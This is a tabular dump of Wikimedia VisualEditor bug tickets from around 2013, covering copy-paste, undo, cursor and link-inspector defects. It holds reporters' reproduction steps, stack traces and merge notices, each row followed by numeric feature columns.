53538,VisualEditor: Reverse selections break copy paste functionality,"* Select some text forwards and copy-paste it, everything is great.
* Select some text backwards and copy-paste it, you now have an extra linebreak.

?!???!

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1374074040,1377195467.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-usa4c4in3z4ffsufnkoi,task_description,resolved,True,c1,3,True,False,True,2,,3.0,2.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,7.0,0.0,3.0,5.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,7.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.4745762711864407,0.5423728813559322,"* Select some text forwards and copy-paste it, everything is great.
* Select some text backwards and copy-paste it, you now have an extra linebreak.

?!???!

--------------------------
**Version**: unspecified
**Severity**: normal"
254160,VisualEditor: Reverse selections break copy paste functionality,Now merged; will go out with next push.,,,1377195467,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-usa4c4in3z4ffsufnkoi,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,Now merged; will go out with next push.
254154,VisualEditor: Reverse selections break copy paste functionality,"Change 80299 merged by jenkins-bot:
Fix copy and paste of backwards selction

https://gerrit.wikimedia.org/r/80299",,,1377195266,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-usa4c4in3z4ffsufnkoi,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"Change 80299 merged by jenkins-bot:
Fix copy and paste of backwards selction

GERRIT_URL"
254147,VisualEditor: Reverse selections break copy paste functionality,"Change 80299 had a related patch set uploaded by Esanders:
Fix copy and paste of backwards selction

https://gerrit.wikimedia.org/r/80299",,,1377120336,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-usa4c4in3z4ffsufnkoi,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.571428571428571,1.0,"Change 80299 had a related patch set uploaded by Esanders:
Fix copy and paste of backwards selction

GERRIT_URL"
254140,VisualEditor: Reverse selections break copy paste functionality,I can confirm this is still happening in Firefox 23/linux,,,1376732778,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-usa4c4in3z4ffsufnkoi,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,8.0,17.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,1.0,I can confirm this is still happening in Firefox 23/linux
53532,VisualEditor: CTRL+Z occasionally inserts a pawn,"When typing in visual editor, sometimes pressing CTRL+Z will replace the last entered character with a pawn (♙).

I've encountered this most frequently when undoing text that appeared as a link when I didn't want it to (see bug 51531) but occasionally when undoing other text as well.

There are numerous other pawn insertion bugs, other editors have suggested possible relationships with bug 49732, bug 48346 or bug 51140, but none seem quite the same (e.g. there is no non-ASCII text, bold or italics involved) and all are marked as fixed. I encountered this yesterday and today (16 and 17 July).

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51762
https://bugzilla.wikimedia.org/show_bug.cgi?id=52113",High,80.0,1374065460,1406599341.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-u4mzdxdhi5v6xlyw7zkb,task_description,resolved,True,c1,3,False,False,False,2,,0.5,0.0,0.0,0.5,0.5,8.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,1.5,0.0,7.0,3.0,0.5,0.5,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.5,0.0,3.5,1.0,0.5,0.5,0.0,1.0,0.0,0.5,0.5,0.5,0.0,1.5,2.0,0.0,0.0,0.0,0.5,0.0,13.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,2.0,2.0,8.5,2.0,4.5,5.0,0.0,0.0,0.0,0.0,2.0,0.0,3.5,0.0,2.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,2.5,1.0,0.0,2.0,0.0,0.5,0.0,3.844155844155844,0.7142857142857143,"When typing in visual editor, sometimes pressing CTRL+Z will replace the last entered character with a pawn (♙).

I've encountered this most frequently when undoing text that appeared as a link when I didn't want it to (see bug 51531) but occasionally when undoing other text as well.

There are numerous other pawn insertion bugs, other editors have suggested possible relationships with bug 49732, bug 48346 or bug 51140, but none seem quite the same (e.g. there is no non-ASCII text, bold or italics involved) and all are marked as fixed. I encountered this yesterday and today (16 and 17 July).

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL
URL"
253776,VisualEditor: CTRL+Z occasionally inserts a pawn,I believe these issues are now fixed.,,,1406599341,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-u4mzdxdhi5v6xlyw7zkb,task_subcomment,,True,c1,3,True,,,56,,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.875,1.0,I believe these issues are now fixed.
253769,VisualEditor: CTRL+Z occasionally inserts a pawn,"This is still happening occasionally, and almost always associated with undoing text added to a link. However I can't reproduce it every time.",,,1379617320,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-u4mzdxdhi5v6xlyw7zkb,task_subcomment,,True,c1,3,False,,,11,,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,4.0,0.0,22.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,4.444444444444445,0.9629629629629629,"This is still happening occasionally, and almost always associated with undoing text added to a link. However I can't reproduce it every time."
253762,VisualEditor: CTRL+Z occasionally inserts a pawn,en.wp thread for reference https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=564648446#Adding_text_after_a_link_includes_that_text_in_the_link._Undoing_sometimes_gives_a_pawn,,,1374065788,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-u4mzdxdhi5v6xlyw7zkb,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.2,1.0,en.wp thread for reference URL
53526,"VisualEditor: Fix ""Uncaught Error: Offset could not be translated to a DOM element and offset: 2409""","Screenshot of problem

1. Open https://en.wikipedia.org/wiki/Pancytopenia?veaction=edit#External_links
2. Select Commonscat template block
3. Put cursor in heading after ""External links""
4. Arrow keys to navigate down (to after text in list item ""* [[CDC]]"")
5. Arrow keys to navigate right


> Uncaught Error: Offset could not be translated to a DOM element and offset: 2409
ve.ce.Document.getNodeAndOffset
ve.ce.Surface.showSelection
ve.ce.Surface.onChange
oo.EventEmitter.emit
ve.dm.Surface.change
ve.ce.Surface.handleLeftOrRightArrowKey
ve.ce.Surface.onDocumentKeyDown
proxy
jQuery.event.dispatch
elemData.handle.eventHandle

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11838}",High,80.0,1374062040,1401474060.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-rygkkourrlt3am2ziugg,task_description,resolved,True,c1,3,True,False,False,2,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,12.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,2.5,0.0,0.0,4.5,8.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.0,4.591525423728814,0.5620056497175141,"Screenshot of problem

1. Open URL
2. Select Commonscat template block
3. Put cursor in heading after ""External links""
4. Arrow keys to navigate down (to after text in list item ""* [[CDC]]"")
5. Arrow keys to navigate right


QUOTE
ve.ce.Document.getNodeAndOffset
ve.ce.Surface.showSelection
ve.ce.Surface.onChange
oo.EventEmitter.emit
ve.dm.Surface.change
ve.ce.Surface.handleLeftOrRightArrowKey
ve.ce.Surface.onDocumentKeyDown
proxy
jQuery.event.dispatch
elemData.handle.eventHandle

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11838}"
574335,"VisualEditor: Fix ""Uncaught Error: Offset could not be translated to a DOM element and offset: 2409""","I just got that same error (""Uncaught Error: Offset could not be translated to a DOM element and offset: 458"") on Meta. Sadly, I don't know what caused it.",,,1449517807,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-rygkkourrlt3am2ziugg,task_subcomment,,True,c1,3,False,,,127,,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,21.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,8.0,5.0,13.0,0.0,5.0,0.0,8.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.2564102564102564,0.8974358974358975,"I just got that same error (""Uncaught Error: Offset could not be translated to a DOM element and offset: 458"") on Meta. Sadly, I don't know what caused it."
253489,"VisualEditor: Fix ""Uncaught Error: Offset could not be translated to a DOM element and offset: 2409""","This appears to now be fixed. Marking as such, though can't determine exactly what fixed fixed it (probably Ed's cursoring changes?).",,,1401474051,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rygkkourrlt3am2ziugg,task_subcomment,,True,c1,3,True,,,47,,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,10.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,3.896551724137931,0.896551724137931,"This appears to now be fixed. Marking as such, though can't determine exactly what fixed fixed it (probably Ed's cursoring changes?)."
253483,"VisualEditor: Fix ""Uncaught Error: Offset could not be translated to a DOM element and offset: 2409""",Confirmed still happening.,,,1385386045,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rygkkourrlt3am2ziugg,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,6.0,1.0,Confirmed still happening.
53525,VisualEditor: Block slug deletion causing very odd corruption/skipping/repeat/pawns,"When doing the steps outlined below, strange '9' character plus a newline appears and input it jumped backwards after 3 character.

See http://youtu.be/A7MWIdu3dtk for how it looks; Using http://en.wikipedia.org/wiki/Ansaldo_Poggi as test ground.

1. Place marker under ""References"" header
2. hit ""backspace""
3. type ""foobar""

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: http://en.wikipedia.org/wiki/Ansaldo_Poggi",High,80.0,1374059640,1383848681.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-qnbuhg3o2v7eth5y6stx,task_description,resolved,True,c1,3,False,False,False,2,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,2.0,6.0,0.0,0.0,9.0,0.0,2.0,0.0,2.0,1.0,0.0,2.0,0.0,0.0,2.0,3.438202247191011,0.6067415730337079,"When doing the steps outlined below, strange '9' character plus a newline appears and input it jumped backwards after 3 character.

See URL for how it looks; Using URL as test ground.

1. Place marker under ""References"" header
2. hit ""backspace""
3. type ""foobar""

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: URL"
253442,VisualEditor: Block slug deletion causing very odd corruption/skipping/repeat/pawns,"Resetting to FIXED; this was a confirmed broken behaviour which has subsequently been FIXED, as far as we can tell - probably by the re-write of the Content Editable surface interaction model.",,,1383848681,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qnbuhg3o2v7eth5y6stx,task_subcomment,,True,c1,3,True,,,18,,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,14.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,5.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,14.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,4.351351351351352,0.8918918918918919,"Resetting to FIXED; this was a confirmed broken behaviour which has subsequently been FIXED, as far as we can tell - probably by the re-write of the Content Editable surface interaction model."
253436,VisualEditor: Block slug deletion causing very odd corruption/skipping/repeat/pawns,"(In reply to comment #2)
> Cannot reproduce it now on betalabs.

Where ""on betalabs""? Tested how exactly (which browsers and versions)? Current steps aren't transparent so somebody else couldn't recreate your conditions...

> It might got fixed.

""Might"" = no identifiable code commit = WORKSFORME instead of FIXED. See https://www.mediawiki.org/wiki/Bug_management/Bug_report_life_cycle",,,1383813641,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-qnbuhg3o2v7eth5y6stx,task_subcomment,,True,c1,3,True,,,18,,0.0,2.0,0.0,0.0,3.0,5.0,2.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,3.0,2.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,18.0,5.0,2.0,3.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,8.0,5.0,3.0,7.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.966666666666667,0.8166666666666667,"(In reply to comment #2)
QUOTE

Where ""on betalabs""? Tested how exactly (which browsers and versions)? Current steps aren't transparent so somebody else couldn't recreate your conditions...

QUOTE

""Might"" = no identifiable code commit = WORKSFORME instead of FIXED. See URL"
253430,VisualEditor: Block slug deletion causing very odd corruption/skipping/repeat/pawns,"Cannot reproduce it now on betalabs.It might got fixed.So changing the status as resolved and fixed.
If you can still reproduce it, please reopen it.",,,1383784994,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-qnbuhg3o2v7eth5y6stx,task_subcomment,,True,c1,3,False,,,18,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,15.0,9.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.7058823529411766,0.7941176470588235,"Cannot reproduce it now on betalabs.It might got fixed.So changing the status as resolved and fixed.
If you can still reproduce it, please reopen it."
253425,VisualEditor: Block slug deletion causing very odd corruption/skipping/repeat/pawns,"TypeError: node.getParent(...) is null
http://bits.wikimedia.org/static-1.22wmf9/extensions/VisualEditor/modules/ve/ce/ve.ce.Surface.js
Line 1267",,,1374094589,,PHID-USER-2mkpm2voxepwvz7abjug,False,,,PHID-TASK-qnbuhg3o2v7eth5y6stx,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6923076923076925,0.9230769230769231,"TypeError: node.getParent(...) is null
URL
Line 1267"
53523,VisualEditor: Too many clicks needed to dismiss inlink editor,"I use the ""link"" tool from the toolbar to in-link to other articles. However, after adding the link, the editor doesn't disappear. I have to click again, outside it, to make it go away.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1374057840,1375304932.0,PHID-USER-5tluooawvjfhtqywnxag,False,,False,PHID-TASK-qpzhi34lem7nwd6nbsu5,task_description,resolved,True,c1,3,False,False,True,2,,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,6.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,8.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.5,0.609375,"I use the ""link"" tool from the toolbar to in-link to other articles. However, after adding the link, the editor doesn't disappear. I have to click again, outside it, to make it go away.

--------------------------
**Version**: unspecified
**Severity**: normal"
253365,VisualEditor: Too many clicks needed to dismiss inlink editor,This is now merged and will be deployed later.,,,1375304932,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qpzhi34lem7nwd6nbsu5,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,This is now merged and will be deployed later.
253362,VisualEditor: Too many clicks needed to dismiss inlink editor,"Change 76839 merged by jenkins-bot:
Link inspector bug fixes

https://gerrit.wikimedia.org/r/76839",,,1375304095,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qpzhi34lem7nwd6nbsu5,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"Change 76839 merged by jenkins-bot:
Link inspector bug fixes

GERRIT_URL"
253359,VisualEditor: Too many clicks needed to dismiss inlink editor,"Change 76839 had a related patch set uploaded by Trevor Parscal:
The greatest commit in the history of the world*

https://gerrit.wikimedia.org/r/76839",,,1375222020,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qpzhi34lem7nwd6nbsu5,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,20.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.28,0.96,"Change 76839 had a related patch set uploaded by Trevor Parscal:
The greatest commit in the history of the world*

GERRIT_URL"
53507,"VisualEditor: Add a keyboard shortcut for ""Clear formatting""","I think ""Clear formatting"" is important enough to justify a keyboard shortcut.  For example, there are cases where the formatting can unintentionally continue longer than you want, such as when you add a link.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53682
